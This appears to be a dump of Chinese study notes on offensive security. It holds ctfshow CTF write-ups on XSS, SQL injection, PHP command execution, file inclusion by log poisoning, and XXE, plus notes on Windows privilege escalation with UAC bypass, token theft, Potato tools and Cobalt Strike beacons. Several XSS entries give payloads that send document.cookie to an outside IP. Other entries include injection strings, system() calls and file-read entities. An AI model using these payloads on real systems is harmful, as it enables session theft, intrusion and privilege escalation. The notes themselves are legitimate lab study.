medium 权限到管理员 high 权限然后再到系统，这个过程中就会有 UAC 的阻拦？\u0026rdquo;\n我的原始理解（记录在案，方便以后对照错在哪）：\n我以为所有提权路径都要\u0026quot;Medium → High → SYSTEM\u0026quot;，中间都必须过 UAC 我以为令牌窃取是一条固定的三段式路径 我把\u0026quot;进程注入\u0026quot;当成了提权技术 结论先行\rUAC 只拦一道门：管理员组用户（Medium IL）→ 完整管理员（High IL）。 其他所有提权路径（内核漏洞、土豆家族、服务配置错误、令牌窃取）都不经过这道门。\n【UAC 的门只在这一个位置】 ↓ 普通用户 ──[漏洞利用/配置错误]──────────→ 管理员 / SYSTEM 管理员组用户(Medium IL) ──[UAC门: 弹窗确认]──→ 管理员(High IL) │ [令牌窃取 SeDebug] ↓ SYSTEM 服务账户 ──[土豆家族 SeImpersonate]─────────→ SYSTEM (与 UAC 无关) 一、UAC 的真实作用范围\rUAC 是什么\r即使你在 Administrators 组，登录后拿到的也是过滤后的令牌（Medium 完整性级别）。 需要管理员权限时，系统弹窗\u0026quot;是否允许此应用更改?\u0026quot;，确认后才\u0026quot;换\u0026quot;一张完整令牌（High IL）。\n概念 含义 完整性级别 (IL) Medium（普通）/ High（管理员）/ System UAC 的作用 卡在 Medium 和 High 之间的那道确认门 UAC 只管什么 管理员组用户的会话 关键点：谁不经过 UAC\r路径 起点 终点 过 UAC？ 内核漏洞利用（CVE） 普通用户 管理员 / SYSTEM ❌ 服务配置错误 / 可写服务 普通用户 SYSTEM ❌ 计划任务 / 启动项劫持 普通用户 SYSTEM ❌ 土豆家族 服务账户 SYSTEM ❌ 令牌窃取（有 SeDebug 时） 管理员 High SYSTEM ❌ BypassUAC 管理员 Medium 管理员 High ✅ 它就是要绕的对象 所以 UAC 只在\u0026quot;管理员组用户想变成完整管理员\u0026quot;这件事上起作用，它不是所有提权的必经关卡。\n二、令牌窃取（Token Impersonation / Stealing）的真实前提\r前提是 SeDebugPrivilege，不是 UAC\r你的起点 有 SeDebugPrivilege 吗 能偷 SYSTEM 令牌吗 与 UAC 的关系 普通用户 ❌ ❌ 无关 管理员 Medium IL ❌（被 UAC 过滤掉了） ❌ ⚠️ 被 UAC 挡在门外 管理员 High IL ✅ 有 ✅ 直接 → SYSTEM 已过门，不再过 UAC 服务账户 ❌ 一般没有 ❌ 无关 准确的因果关系\r起点是管理员 Medium IL 时： Medium IL ──[必须先过 UAC 门]──\u0026gt; High IL ──[有 SeDebug]──\u0026gt; 偷 SYSTEM 令牌 ──\u0026gt; SYSTEM ↑ ↑ UAC 在这挡着 这一步不过 UAC 起点是服务账户 / 普通用户时： 完全不走 UAC 这条路（用土豆 / 漏洞） 所以：UAC 是\u0026quot;前置条件的障碍\u0026quot;，不是\u0026quot;令牌窃取过程中的一步\u0026quot;。\n令牌窃取的操作本质\r打开一个有高权限令牌的进程（如 winlogon.exe、lsass.exe、services.exe） 复制它的令牌（DuplicateTokenEx） 用这个令牌启动新进程 / 附加到当前线程 能打开哪些进程 = 由 SeDebugPrivilege 决定（不是由 UAC 决定）。\n三、进程注入 ≠ 提权技术（重要澄清）\r进程注入是\u0026quot;执行/隐蔽\u0026quot;技术，不是\u0026quot;权限提升\u0026quot;技术。\n进程注入的真实用途 说明 隐蔽执行 把代码寄生在合法进程（如 explorer.exe）里，躲避杀软检测 借用能力 注入到有网络访问的进程，借它的网络能力 规避限制 绕过某些进程级别的限制策略 提权（特殊情况） 注入到 SYSTEM 进程里 → 代码跟着以 SYSTEM 运行；但本质仍是\u0026quot;借令牌\u0026quot;，需要 SeDebug 它与 UAC 无关：\nUAC 管的是\u0026quot;进程能不能拿到管理员令牌\u0026quot; 注入管的是\u0026quot;代码塞进哪个进程里执行\u0026quot; 类比：\nUAC = 门禁系统（决定你能不能进机房） 进程注入 = 藏进别人的快递箱混进去（隐蔽手段，不是门禁的对手） 四、完整的 Windows 权限提升地图\r起点身份 可用技术 终点 涉及 UAC？ 普通用户 内核漏洞 CVE / 服务配置错误 / 计划任务 管理员 / SYSTEM ❌ 管理员组用户 (Medium IL) BypassUAC 管理员 (High IL) ✅ 它就是要绕的对象 管理员 (High IL) 令牌窃取（SeDebugPrivilege） SYSTEM ❌ 已过门 服务账户（NETWORK/LOCAL SERVICE、IIS AppPool、MySQL/MSSQL 服务） 土豆家族（SeImpersonatePrivilege） SYSTEM ❌ SYSTEM 已是最高 — — 三条路的起点不能混\r路线 起点 终点 关键权限 土豆路线 服务账户 SYSTEM SeImpersonatePrivilege BypassUAC 路线 管理员组用户 完整管理员 无（利用系统自动提权机制） CVE 路线 普通用户 管理员/SYSTEM 无（利用漏洞） 管理员 → 该用 BypassUAC（不是土豆） 服务账户 → 该用土豆（不是 BypassUAC）\n五、附：两个高频踩坑点\r坑 1：管理员默认没有 SeImpersonatePrivilege\r身份 有 SeImpersonate？ 土豆可用？ 管理员（含\u0026quot;以管理员身份运行\u0026quot;） ❌ 没有 ❌ NETWORK SERVICE / LOCAL SERVICE ✅ 有 ✅ IIS AppPool ✅ 有 ✅ SQL Server 服务账户 ✅ 有 ✅ SYSTEM ✅ 有 已是最高 验证方法：\n管理员 CMD: whoami /priv → 列表里找不到 SeImpersonatePrivilege 靶机IIS权限: http://localhost/test.asp?cmd=whoami+/priv → 有 ✅ 这是 Windows 的设计：服务需要\u0026quot;模拟客户端身份\u0026quot;来干活，人类账户不需要。\n坑 2：Cobalt Strike 里\u0026quot;提权\u0026quot;后 beacon 权限不会自动升级\r你的 beacon: DefaultAppPool (低权限) ← 一直是这个，不会变 │ └─执行土豆─→ 生成了一个 SYSTEM 进程（独立进程，用完即止） ↑ 提权只对\u0026#34;那个进程\u0026#34;生效 类比：实习生借到老板门禁卡进了办公室 —— 出了门卡还回去，实习生的身份没变。\n要拿到 SYSTEM 会话，需要额外一步：\n① 对现有 beacon 执行提权（上传土豆 / 插件提权模块） ② 提权工具以 SYSTEM 启动一个进程 ③ 让那个 SYSTEM 进程回连 teamserver（spawn / 新 payload） ④ 新上线的 beacon 才是 SYSTEM 权限（getuid 可验证） 验证 SYSTEM 是否真的拿到（最直接）：\nBadPotato.exe -c \u0026#34;cmd.exe /c whoami \u0026gt; C:\\1.txt\u0026#34; type C:\\1.txt → 显示 nt authority\\system = 提权成功 注意区分：CS 会话列表里显示的\u0026quot;用户\u0026quot;是 beacon 自身的登录账户， 不是\u0026quot;土豆提权的结果\u0026quot;。两者是两回事。\n一句话总结\rUAC 只拦\u0026quot;管理员组用户 Medium → 完整管理员 High\u0026quot;这一道门；令牌窃取的前提是 SeDebugPrivilege（Medium IL 被 UAC 过滤掉了，所以要先过门）；进程注入是执行/隐蔽技术不是提权技术。土豆家族走的是\u0026quot;服务账户 → SYSTEM\u0026quot;，与 UAC 完全无关。\n相关联想\r土豆家族原理：服务账户（SeImpersonate）+ 土豆（骗到 SYSTEM 令牌）= SYSTEM 管理员没有 SeImpersonate 是设计使然（服务需要模拟客户端，人不需要） 权限阶梯：普通用户 \u0026lt; 管理员(Medium) \u0026lt; 管理员(High) \u0026lt; SYSTEM BypassUAC 常用目标：fodhelper.exe、eventvwr.exe、computerdefaults.exe（自带自动提权特性的程序） 防御视角：把 UAC 调到最高 + 日常用标准用户账户（BypassUAC 直接失效） 后续学习：Pass-the-Hash、黄金/白银票据（域渗透的\u0026quot;凭据复用\u0026quot;路线，与本文三条路都不同） 相关笔记：Web权限与土豆家族（语言≠权限）.md ","date":"2026-09-15T12:07:21+08:00","permalink":"/notes/privesc/uac%E4%B8%8E%E4%BB%A4%E7%89%8C%E7%AA%83%E5%8F%96%E4%B8%8E%E8%BF%9B%E7%A8%8B%E6%B3%A8%E5%85%A5%E6%A6%82%E5%BF%B5%E6%BE%84%E6%B8%85/","title":"UAC / 令牌窃取 / 进程注入：三个概念澄清"},{"content":"ctfshow web322\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web322 难度：⭐ 考点：XSS跨站脚本攻击 日期：2026-9-15 题目描述\r解题思路\r1.\u0026lt;svg/onload=location.href=\u0026ldquo;http://1.14.182.18/ctfxss/xss.php?1=\u0026quot;+document.cookie\u0026gt; 原来的这个payload不管用了，我自己实测了一下，它目前对我有影响的限制好像是不准路径里有xss的东西，所以直接给目录改个名字即可（因为怕有人拿我目录做坏事所以我payload就不写自己真实路径了，写注意事项即可）\nPayload / 关键操作\r1.\u0026lt;svg/onload=location.href=\u0026#34;http://1.14.182.18/接收目录/接收脚本文件.php?1=\u0026#34;+document.cookie\u0026gt; 复现截图\r对应课程章节\rXSS跨站脚本攻击\n踩坑记录 / 复盘\r无\n","date":"2026-09-15T11:10:38+08:00","permalink":"/notes/ctf/xss/web322/","title":"ctfshow web322"},{"content":"ctfshow web321\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web321 难度：⭐ 考点：xss跨站脚本攻击（空格过滤） 日期：2026-9-15 题目描述\r解题思路\r1.直接试了试320的payload就过了\nPayload / 关键操作\r1.\u0026lt;svg/onload=location.href=\u0026#34;http://1.14.182.18/ctfxss/xss.php?1=\u0026#34;+document.cookie\u0026gt; 复现截图\r对应课程章节\rXSS跨站脚本攻击\n踩坑记录 / 复盘\r1.无\n","date":"2026-09-15T09:48:50+08:00","permalink":"/notes/ctf/xss/web321/","title":"ctfshow web321"},{"content":"ctfshow web320\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web320 难度：⭐ 考点：XSS(空格过滤的绕过) 日期：2026-9-14 题目描述\r解题思路\r1.1.直接套用319的payload(\u0026lt;)svg onload=location.href=\u0026ldquo;http://1.14.182.18/ctfxss/xss.php?1=\u0026quot;+document.cookie(\u0026gt;)但是发现并没有成功，猜想可能是过滤了掉了svg，但是后面进行验证的时候发现它其实过滤的是空格而非svg，那在svg这还是可以接着做文章的\nPayload / 关键操作\r1.\u0026lt;svg/onload=location.href=\u0026#34;http://1.14.182.18/ctfxss/xss.php?1=\u0026#34;+document.cookie\u0026gt; 复现截图\r对应课程章节\rXSS跨站脚本攻击\n踩坑记录 / 复盘\r1.这种绕过方式也是可以的：\u0026lt;iframe/**/onload=window.location.href=\u0026rsquo;http://you ip/get.php?c=\u0026rsquo;+document.cookie;\u0026gt;ee\n","date":"2026-09-15T09:40:31+08:00","permalink":"/notes/ctf/xss/web320/","title":"ctfshow web320"},{"content":"ctfshow web319\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web319 难度：⭐ 考点：XSS跨站脚本攻击 日期：2026-9-14 题目描述\r解题思路\r1.用318的svg是可以成功的，但是不知道为什么没有获取到flag，我认为是bug 2.撤回撤回，不是bug，开始以为bug是因为我看错接收的文件了，对应的脚本同318一样的\nPayload / 关键操作\r1.\u0026lt;svg onload=location.href=\u0026#34;http://1.14.182.18/ctfxss/xss.php?1=\u0026#34;+document.cookie\u0026gt; 复现截图\r2. 对应课程章节\rXSS跨站脚本攻击\n踩坑记录 / 复盘\r无\n","date":"2026-09-14T10:55:19+08:00","permalink":"/notes/ctf/xss/web319/","title":"ctfshow web319"},{"content":"ctfshow web177\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web177 难度：⭐ 考点：如 SQL 注入(空格过滤的绕过) 日期：2026-9-14 题目描述\r解题思路\rSQL过滤绕过的思路 1.用 and or 判断 999\u0026rsquo; or username=\u0026lsquo;flag //直接查找有没有叫flag的字段；\n2.考虑符合 把=替换成like: 999\u0026rsquo; or username like \u0026lsquo;%flg%\n3.考虑联合查询\n999\u0026rsquo; union select 1,2,3%23\n4.考虑过滤掉了空格 1.要知道哪些地方可以不用空格 2.要知道可以用什么代替空格，如// %0b 字段/表。。。 999\u0026rsquo;//union//select//1,2,3%23 //能查到了 999\u0026rsquo;union//select//1,2,3%23 //也能查到 999\u0026rsquo;union/**/select'1\u0026rsquo;,2,3%23 //把1用单引号括起来也能替换空格 999\u0026rsquo;union%0bselect'1\u0026rsquo;,2,3%23 //用换行替换空格 结论：过滤掉了空格\n5.构造语句查询需要的数据\n999\u0026rsquo;union//select//1,(selectpasswordfromctfshow_userwhereusername=\u0026lsquo;flag\u0026rsquo;),3%23 //字段和表可用反引号``，这样减少空格；\n以上就是payload\npayload也可以\n999\u0026rsquo;union//select//1,(select//group_concat(password)//fromctfshow_user),3%23 //把所有密码显示为一行\nPayload / 关键操作\r999\u0026#39;union%0dselect%0d1,(select%0dpassword%0dfrom%0dctfshow_user%0dwhere%0dusername=\u0026#39;flag\u0026#39;),3%23 复现截图\r对应小迪课程章节\rSQL注入\n踩坑记录 / 复盘\r%0b URL解码 → 十进制11，ASCII：垂直制表符 VT\n十六进制： 0B 字符：\\v 垂直制表\n✅CTF注入用途：用来绕过空格过滤，代替空格\n同类空格替代： %09 (tab)、 %0a (换行)、 %0c (换页)、 %0d (回车)、 %0b (垂直制表)\n⚠️注意：部分WAF会拦截%0b，mysql新版本有些场景不认。\n","date":"2026-09-14T10:28:56+08:00","permalink":"/notes/ctf/sql-injection/web177/","title":"ctfshow web177"},{"content":"ctfshow web176\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web176 难度：⭐ 考点：SQL注入 日期：2026-9-14 题目描述\r1.\n解题思路\r1.用171的解法就可以，因为没有像172-175那样不让回显出现flag\nPayload / 关键操作\r1.999\u0026#39; or id=\u0026#39;26 复现截图\r对应课程章节\rSQL注入\n踩坑记录 / 复盘\r1.无\n","date":"2026-09-14T08:46:39+08:00","permalink":"/notes/ctf/sql-injection/web176/","title":"ctfshow web176"},{"content":"ctfshow web41\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web41 难度：⭐~⭐⭐⭐ 考点：如 SQL 注入（无回显） 日期：2026-9-12 题目描述\r过滤了一系列字符，注意这里变成了post提交\n解题思路\r1.或运算直接拿下不解释，只能说迪总yyds！。\nPayload / 关键操作\r1.c=(\u0026#34;%13%19%13%14%05%0d\u0026#34;|\u0026#34;%60%60%60%60%60%60\u0026#34;)(\u0026#34;%14%01%03%00%06%0c%01%07%00%10%08%10\u0026#34;|\u0026#34;%60%60%60%20%60%60%60%60%2e%60%60%60\u0026#34;) 复现截图\r对应课程章节\r命令执行\n踩坑记录 / 复盘\r1.这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用，同时过滤了字母和数字。但是特意留了个或运算符|。\n我们可以尝试从ascii为0-255的字符中，找到或运算能得到我们可用的字符的字符。\n","date":"2026-09-12T16:09:21+08:00","permalink":"/notes/ctf/command-execution/web41/","title":"ctfshow web41"},{"content":"ctfshow web40\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web40 难度：⭐⭐ 考点：命令执行 日期：2026-9-12 题目描述\r怎么形容这题呢，嗯，难绷\u0026hellip;\u0026hellip;.\n解题思路\r1.退出去看答案是我唯一的思路\nPayload / 关键操作\r1.?c=print_r(show_source(next(array_reverse(scandir(getcwd()))))); 复现截图\r对应课程章节\r命令执行\n踩坑记录 / 复盘\r1.题解，查看当前工作目录getcwd()，扫描当前目录及文件\u0026quot;scandir()\u0026ldquo;输出 为数组，flag.php 在倒数第二个个位置那就数组倒置array_revers()，变为正数第二，在使用next()函数指向从第一个指向第二个（及指向flag.php）,最后使用show_source（）查看文件的内容 ?c=print_r(show_source(next(array_reverse(scandir(getcwd())))));\nurl+?c=print_r(getcwd()); ===\u0026gt; /var/www/html\nurl+?c=print_r(scandir(getcwd())); ===\u0026gt; Array ( [0] =\u0026gt; . [1] =\u0026gt; .. [2] =\u0026gt; flag.php [3] =\u0026gt; index.php )\nurl+?c=print_r(array_reverse(scandir(getcwd()))); ==\u0026gt; Array ( [0] =\u0026gt; index.php [1] =\u0026gt; flag.php [2] =\u0026gt; .. [3] =\u0026gt; . )\nurl+?c=print_r(next(array_reverse(scandir(getcwd())))); ==\u0026gt; flag.php\nurl+?c=print_r(show_source(next(array_reverse(scandir(getcwd()))))); ==\u0026gt; $flag=\u0026ldquo;ctfshow{eca2e7df-d196-4b71-9632-ad4d32e194d3}\u0026rdquo;;\n","date":"2026-09-12T15:43:44+08:00","permalink":"/notes/ctf/command-execution/web40/","title":"ctfshow web40"},{"content":"ctfshow web39\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web39 难度：⭐ 考点：命令执行（伪协议） 日期：2026-9-11 题目描述\r会在你的输入后面自动拼接.php\n解题思路\r1.伪协议data://text/plain,在执行完你写的php脚本后会忽视后面拼接的.php （data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了，所以后面的.php会被当成html页面直接显示在页面上，起不到什么 作用）\nPayload / 关键操作\r1.?c=data://text/palain,\u0026lt;?php system(\u0026#39;tac fla?.php\u0026#39;) ?\u0026gt; 复现截图\r对应课程章节\r命令执行\n踩坑记录 / 复盘\r1.可以参考某个大佬写的：\n$c 的值： 当 $_GET[\u0026lsquo;c\u0026rsquo;] 的值为 data://text/plain, 时，$c 被赋值为 data://text/plain,。\n拼接 .php 后的值： 于是 include($c.\u0026quot;.php\u0026quot;); 会变成 include(\u0026ldquo;data://text/plain,.php\u0026rdquo;);。然而，data://text/plain,\u0026hellip; 是一个协议标识符，它不是一个文件路径，PHP 不能将它当作常规文件路径来处理。\n所以，.php 并不会影响行为，因为它仍然被当作 data:// 协议的一部分。 data:// 协议： data:// 是 PHP 的数据协议，它允许在 URL 中直接嵌入文件内容，常用于传输小块数据，而不是指向实际的文件系统路径。因此，拼接的 .php 被“忽视”，因为 PHP 认为整个字符串（包括 .php）是一个数据流 URL，而不是文件路径。\n","date":"2026-09-11T21:17:34+08:00","permalink":"/notes/ctf/command-execution/web39/","title":"ctfshow web39"},{"content":"ctfshow web38\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web38 难度：⭐ 考点：命令执行（伪协议） 日期：2026-9-11 题目描述\r解题思路\r1.看到include首先想到伪协议，根据过滤的字符发现data://伪协议可以完美解决这一题\nPayload / 关键操作\r1.?c=data://text/plain,\u0026lt;?= system(\u0026#39;tac fla*.ph*\u0026#39;); ?\u0026gt; 复现截图\r对应课程章节\r命令执行\n踩坑记录 / 复盘\r1.无\n","date":"2026-09-11T20:34:55+08:00","permalink":"/notes/ctf/command-execution/web38/","title":"ctfshow web38"},{"content":"ctfshow web81\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web81 难度：⭐ 考点：文件包含（日志包含） 日期：2026-8-31 题目描述\r除了将基本伪协议ban了，还把:给ban了，我他哥的求你了\n解题思路\r1.伪协议这下是真的基本都没了，就可以往其他地方去想：“日志包含”。我们一般访问对方网站的时候都会被网站日志给记录下我们的UA头。而文件包含有个特点，不论你是什么后缀的文件，只要你里面有完整的代码格式它都会去执行。因此，如果我们通过抓包在UA头里插入恶意PHP代码呢？ 2.首先就是得确认对方是什么中间件搭建的网站，我这里使用的是报错方法。 3.确认为nginx搭建的网站后，我们就可以去网上找它的日志默认路径：/var/log/nginx/access.log（这里需要知道的是日志目录是可以更改的）。找到后尝试修改自己的UA头去访问看是否会被记录 4.发现对方目录确实是会记录我们的UA头后就可以开始将UA头变成恶意代码去寻找flag了\nPayload / 关键操作\r1.明确方向 2.通过访问错误的文件名让对方网站报错获取网站信息 3.我这里是将UA头改成“boqidawang666”了，为了方便就不截图burp修改的图片了，相信都是会的 4.\u0026lt;?php system(\u0026#39;ls\u0026#39;); ?\u0026gt;; \u0026lt;?php system(\u0026#39;tac fl0g.php\u0026#39;); ?\u0026gt; 复现截图\r3. 4. 对应课程章节\r（如：Web攻防-命令执行，方便回头复习）\n50文件包含\n踩坑记录 / 复盘\r无\n","date":"2026-09-10T08:29:26+08:00","permalink":"/notes/ctf/file-inclusion/web81/","title":"ctfshow web81"},{"content":"ctfshow web373\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web373 难度：⭐ 考点：如 SQL 注入（无回显） 日期：2026-9-9 题目描述\r解题思路\rPayload / 关键操作\r1.\u0026lt;?xml version = \u0026#34;1.0\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE ANY [ \u0026lt;!ENTITY f SYSTEM \u0026#34;file:///flag\u0026#34;\u0026gt; ]\u0026gt; \u0026lt;web373\u0026gt;\u0026lt;ctfshow\u0026gt;\u0026amp;f;\u0026lt;/ctfshow\u0026gt;\u0026lt;/web373\u0026gt; 复现截图\r对应课程章节\rXXE注入\n踩坑记录 / 复盘\r目代码如下： error_reporting(0); libxml_disable_entity_loader(false); // 允许外部实体加载 $xmlfile = file_get_contents(\u0026lsquo;php://input\u0026rsquo;); // 获取输入的XML数据 if(isset($xmlfile)){ $dom = new DOMDocument(); $dom-\u0026gt;loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // 加载XML并启用DTD（Document Type Definition） $creds = simplexml_import_dom($dom); // 将DOM对象转换为SimpleXML对象 $ctfshow = $creds-\u0026gt;ctfshow; // 获取ctfshow元素 echo $ctfshow; // 输出ctfshow元素的值 } highlight_file(FILE); // 显示源代码\n代码分析 ● libxml_disable_entity_loader(false); 这行代码是关键，它允许加载外部实体。正常情况下，libxml_disable_entity_loader() 应该设置为 true 来禁用外部实体的加载，避免潜在的安全风险。设置为 false 使得外部实体加载成为可能，导致XXE攻击的潜在风险。 ● $dom-\u0026gt;loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); ● LIBXML_NOENT：这是一个允许解析外部实体的标志。如果XML包含外部实体引用（如\u003c!ENTITY\u003e），它们会被解析并替换为实际内容。此选项与XXE攻击密切相关。 ● LIBXML_DTDLOAD：这个选项允许加载和解析DTD（文档类型定义）。DTD通常包含外部实体声明，这是XXE攻击的一个重要环节。 ● $creds = simplexml_import_dom($dom); 将DOM对象转换为SimpleXML对象，这通常用于方便地访问XML数据中的各个元素。 ● $ctfshow = $creds-\u0026gt;ctfshow; echo $ctfshow; 从XML数据中提取并输出 ctfshow 元素的值。此处，攻击者如果能够在XML中注入恶意外部实体，可能会泄露敏感信息或触发其他恶意行为。 思路构造 由于 libxml_disable_entity_loader 被禁用了，且启用了 LIBXML_NOENT 和 LIBXML_DTDLOAD，攻击者可以利用XML中的外部实体（XXE）进行攻击。比如，攻击者可以通过以下方式提交恶意的XML数据：\n]\u0026gt; \u0026amp;xxe;\n解释：\n\u0026lt;!DOCTYPE root [ \u0026lt;!ENTITY xxe SYSTEM \u0026quot;file:///etc/passwd\u0026quot;\u0026gt; ]\u0026gt;：这段DTD定义了一个外部实体 xxe，它指向 /etc/passwd 文件。 \u0026amp;xxe;：在 ctfshow 元素中，引用了 xxe 外部实体。解析时，\u0026amp;xxe; 会被替换成 /etc/passwd 文件的内容（在Linux系统上）。 可以将/etc/passwd改为/flag等文件，进行文件的读取 命令 ","date":"2026-09-09T21:10:33+08:00","permalink":"/notes/ctf/xxe/web373/","title":"ctfshow web373"},{"content":"ctfshow web318\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web318 难度：⭐ 考点：反射型XSS 日期：2026-9-9 题目描述\r将script和img禁用了（可以看到我上面测试失败的img标签）\n解题思路\r1.script和img没了，我还有svg呢，试了试直接就成功了\nPayload / 关键操作\r1.\u0026lt;svg onload=location.href=\u0026#34;http://1.14.182.18/ctfxss/xss.php?1=\u0026#34;+document.cookie\u0026gt; 复现截图\r对应课程章节\rXSS跨站脚本攻击\n踩坑记录 / 复盘\r无\n","date":"2026-09-09T19:46:22+08:00","permalink":"/notes/ctf/xss/web318/","title":"ctfshow web318"},{"content":"ctfshow web317\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web317 难度：⭐ 考点：XSS(凭据盗取) 日期：2026-9-9 题目描述\r做了简单的过滤，通过自己的测试应该是过滤了\u0026lt;\u0026gt;script 这个script在尖括号里面，因为某些原因就写到外面了。\n解题思路\r1.换标签绕过它，我想的是用img标签去绕过，于是就构造payload,但是在凭据盗取的时侯一直获取的是自己的cookie，不知道是bug还是什么原因，只能换成别的语句试试了 2.问了下豆老师，好像说机器人会拦截无效图片请求，于是便换个思路，用onload去写payload\nPayload / 关键操作\r1.\u0026lt;img src=x onerror=location.href=\u0026#34;http://1.14.182.18/ctfxss/xss.php?1=\u0026#34;+document.cookie\u0026gt; 2.\u0026lt;svg onload=location.href=\u0026#34;http://1.14.182.18/ctfxss/xss.php?1=\u0026#34;+document.cookie\u0026gt; 复现截图\r对应脚本： 2. 对应课程章节\rXSS跨站脚本攻击\n踩坑记录 / 复盘\r1.svg不加src就不会发起外部http资源请求，只是页面内渲染svg标签，直接触发onload可以绕开限制（浏览器渲染这个标签本身，没有额外网络请求），也就是内联svg 2. 1. \u0026lt;\u0026gt;img ：它是图片容器，必须给src去拉取图片资源，才有加载成功/失败。\n2. \u0026lt;\u0026gt;svg 本身就是文档元素，可以直接写在HTML里面，自带图形渲染能力，不需要src。\n","date":"2026-09-09T10:47:08+08:00","permalink":"/notes/ctf/xss/web317/","title":"ctfshow web317"},{"content":"ctfshow web316\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web316 难度：⭐ 考点：XSS（凭据盗取） 日期：2026-9-8 题目描述\r解题思路\r1.来到靶场，发现这是一个写祝福的地方，猜测可能是将我们写的字符输出到祝福语中，于是就随手写了几个字。 2.看到确实是输出到页面后就通过右键检查查看它是怎么输出到页面上的。发现没有做任何的过滤，所以我们可操作性特别高，但是我们最终目的是获取flag，所以得想办法往这边靠。 3.回想一下xss的作用：1.凭据盗取 2.数据提交 3.网站钓鱼 。所以我就先试了试获取自己的cookie，它就直接提示我去获得管理员的，那思路不就明确了吗! 4.在服务器上构造盗取凭据的脚本然后通过构造反射型xsspayload让管理员去执行获取flag\nPayload / 关键操作\r1.随便输入测试即可 2.检查输出 3.\u0026lt;script\u0026gt;alert(document.cookie)\u0026lt;/script\u0026gt; 4.配置服务器脚本;\u0026lt;script\u0026gt;location.href=\u0026#34;http://1.14.182.18/ctfxss/xss.php?1=\u0026#34;+document.cookie\u0026lt;/script\u0026gt; 复现截图\r2. 4. 服务器脚本： 复现成功后： 对应课程章节\rxss跨站脚本攻击\n踩坑记录 / 复盘\r1.想写 flag.txt 的话，注意 /var/www/html/ctfxss/ 目录是 root 所有、www-data 没写权限——要么 chmod 777 该目录、要么写到别处（比如 /opt/ctfxss-logs/ 或 /tmp/）\n","date":"2026-09-08T23:59:54+08:00","permalink":"/notes/ctf/xss/web316/","title":"ctfshow web316"},{"content":"拿到 Web 权限后能否用土豆家族：语言 ≠ 权限\r我的原问题：\u0026ldquo;是不是不管对方是 php、.net 还是 asp（java 一般默认最高权限所以排除），只要我通过后台权限或者数据库权限提升的到了 web 权限，我就可以通过后门查看当前用户权限然后测试土豆家族？\u0026rdquo;\n我的原始理解（记录在案，方便以后对照错在哪）：\n我以为\u0026quot;语言决定能不能提权\u0026quot;（php/.net/asp 一个档次，java 最高直接排除） 我以为\u0026quot;java 默认最高权限\u0026quot;是语言特性 我以为顺序是\u0026quot;后台/数据库权限 → 提升到 web 权限 → 再测土豆\u0026quot; 结论先行\r能不能用土豆，不看网站是什么语言写的，只看命令跑在哪个 Windows 账户下（whoami /priv 有没有 SeImpersonatePrivilege）。语言自己没有任何权限，权限属于进程，进程跑在哪个账户由 Web 服务器软件/服务的配置决定。\n我的三个错误（逐个纠正）\r错误一：以为是\u0026quot;语言决定权限\u0026quot;，其实权限由\u0026quot;运行账户\u0026quot;决定\r同一个 PHP 网站，换台服务器权限天差地别：\nWeb 服务器（Windows 上） 默认运行账户 土豆能提吗 IIS（.NET/ASP 常见） IIS APPPOOL\\xxx（应用池身份） ⚠️ 看配置，APPPOOL 权限紧，常常不够 IIS 老配置 / 改过标识 NETWORK SERVICE ✅ 有 SeImpersonate Apache（phpstudy/XAMPP） SYSTEM（服务默认 LocalSystem！） ❌ 已经是最高，不用提 MySQL/MSSQL 服务 NETWORK SERVICE 或 SYSTEM ✅（这才是土豆主战场） Tomcat（Java） 部署者自己定 国内普遍配成 SYSTEM/root 所以\u0026quot;php 就能提、java 就能排除\u0026quot;是错觉——phpstudy 的 Apache 直接是 SYSTEM，反而不用提；IIS 的低权限账户才需要土豆。\n错误二：以为\u0026quot;Java 默认最高权限\u0026quot;是语言特性，其实是部署习惯\r真实原因：国内部署 Tomcat 的人图省事，习惯拿 root/SYSTEM 跑 Tomcat 完全可以配成低权限账户，那时 Java 的 shell 照样要提权 正确做法：拿到 shell 先 whoami，账户是啥就是啥，别猜语言（java 多数直接最高，但要 whoami 确认，不是默认排除） 错误三：链条顺序理解反了\r我以为：后台/数据库权限 → \u0026ldquo;提升到\u0026rdquo; web 权限 → 再测土豆\n真实链条：\n① 后台权限/上传漏洞/SQL注入 → ② 拿到能执行命令的入口(webshell) ↓ ③ shell 跑在某个账户下： - 来自数据库(xp_cmdshell) → 数据库服务账户 - 来自网站文件上传 → Web服务器账户 ↓ ④ 不管怎么来的，先 whoami /priv 看身份和特权 ↓ ⑤ 有 SeImpersonate → 土豆；没有 → 其他路线 标准动作：拿到 shell 后永远先做这三行\rwhoami :: 我是谁? (SYSTEM? 服务账户? 低权限IIS账户?) whoami /priv :: 我有啥特权? (找 SeImpersonatePrivilege) whoami /groups :: 我在哪些组? (Administrators? IIS_IUSRS?) whoami 直接是 nt authority\\system → 收工，不用提权（很多 Java / phpstudy 场景就这样） 是 NETWORK SERVICE / LOCAL SERVICE / 数据库服务账户 → 上土豆 是 IIS 